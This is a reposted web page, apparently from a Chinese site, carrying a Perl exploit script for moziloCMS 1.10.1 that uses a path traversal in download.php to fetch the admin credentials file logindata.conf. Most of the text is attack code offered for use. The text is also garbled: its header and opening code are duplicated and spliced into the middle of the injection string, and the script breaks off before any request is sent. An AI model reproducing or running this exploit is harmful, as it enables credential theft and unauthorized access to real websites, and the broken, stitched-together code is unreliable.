moziloCMS 1.10.1 (download.php) Arbitrary Download File Exploit
互聯(lián)網(wǎng) 發(fā)布時(shí)間:2008-10-08 21:01:16 作者:佚名
我要評(píng)論

#!/usr/bin/perl
#
# moziloCMS 1.10.1 Perl exploit
#
# discovered & written by Ams
# ax330d [doggy] gmail [dot] com
#
# DESCRIPTION:
# Vulnerability hides in "download.php", which we can use to download any file we want to.
#!/usr/bin/perl
#
# moziloCMS 1.10.1 Perl exploit
#
# discovered & written by Ams
# ax330d [doggy] gmail [dot] com
#
# DESCRIPTION:
# Vulnerability hides in "download.php", which we can use to download any file we want to.
# Here, for example, "admin/conf/logindata.conf". (Btw, not very smart solution to keep it open
# not looking on that it is protected by .htaccess)
# Script does not filters global params, it only checks whether local file exists...
# (By the way, all downloads are logged to "/conf/downloads.conf")
#
# USAGE:
# Run exploit :perl expl.pl http://www.site.com
#
# NEEDED:
# magic_quotes_gpc = off
#
use strict;
use IO::Socket;
print "\n\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
\n\t\t moziloCMS 1.10.1 exploit (by Ams)
\n\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n";
if(@ARGV<1){
die "\n\tUsage:\texpl.pl [host]\n\n
\n\tExample:\texpl.pl http://localhost/blog/\n\n";
}
my $expl_url = $ARGV[0];
print "\n\t[~] Starting exploit...\n";
if($expl_url =~ m#http://#) {
exploit($expl_url);
} else {
exploit('http://'.$expl_url);
}
sub exploit {
# Defining vars.
my $site = pop @_;
my ($a, $b, $c, @d) = split /\//,$site;
my $path = join('/',@d);
my $host = $c;
if($path) {$path = '/'.$path;}
my ($length, $packet, $downloaded, $injection);
# Revealing /data/sess.php.
print "\n\t[~] Sending request to 'downloads.php'...\n";
$injection = "file=hola&cat=../admin/conf/logindata.conf
#
# moziloCMS 1.10.1 Perl exploit
#
# discovered & written by Ams
# ax330d [doggy] gmail [dot] com
#
# DESCRIPTION:
# Vulnerability hides in "download.php", which we can use to download any file we want to.
# Here, for example, "admin/conf/logindata.conf". (Btw, not very smart solution to keep it open
# not looking on that it is protected by .htaccess)
# Script does not filters global params, it only checks whether local file exists...
# (By the way, all downloads are logged to "/conf/downloads.conf")
#
# USAGE:
# Run exploit :perl expl.pl http://www.site.com
#
# NEEDED:
# magic_quotes_gpc = off
#
use strict;
use IO::Socket;
print "\n\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
\n\t\t moziloCMS 1.10.1 exploit (by Ams)
\n\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n";
if(@ARGV<1){
die "\n\tUsage:\texpl.pl [host]\n\n
\n\tExample:\texpl.pl http://localhost/blog/\n\n";
}
my $expl_url = $ARGV[0];
print "\n\t[~] Starting exploit...\n";
if($expl_url =~ m#http://#) {
exploit($expl_url);
} else {
exploit('http://'.$expl_url);
}
sub exploit {
# Defining vars.
my $site = pop @_;
my ($a, $b, $c, @d) = split /\//,$site;
my $path = join('/',@d);
my $host = $c;
if($path) {$path = '/'.$path;}
my ($length, $packet, $downloaded, $injection);
# Revealing /data/sess.php.
print "\n\t[~] Sending request to 'downloads.php'...\n";
$injection = "file=hola&cat=../admin/conf/logindata.conf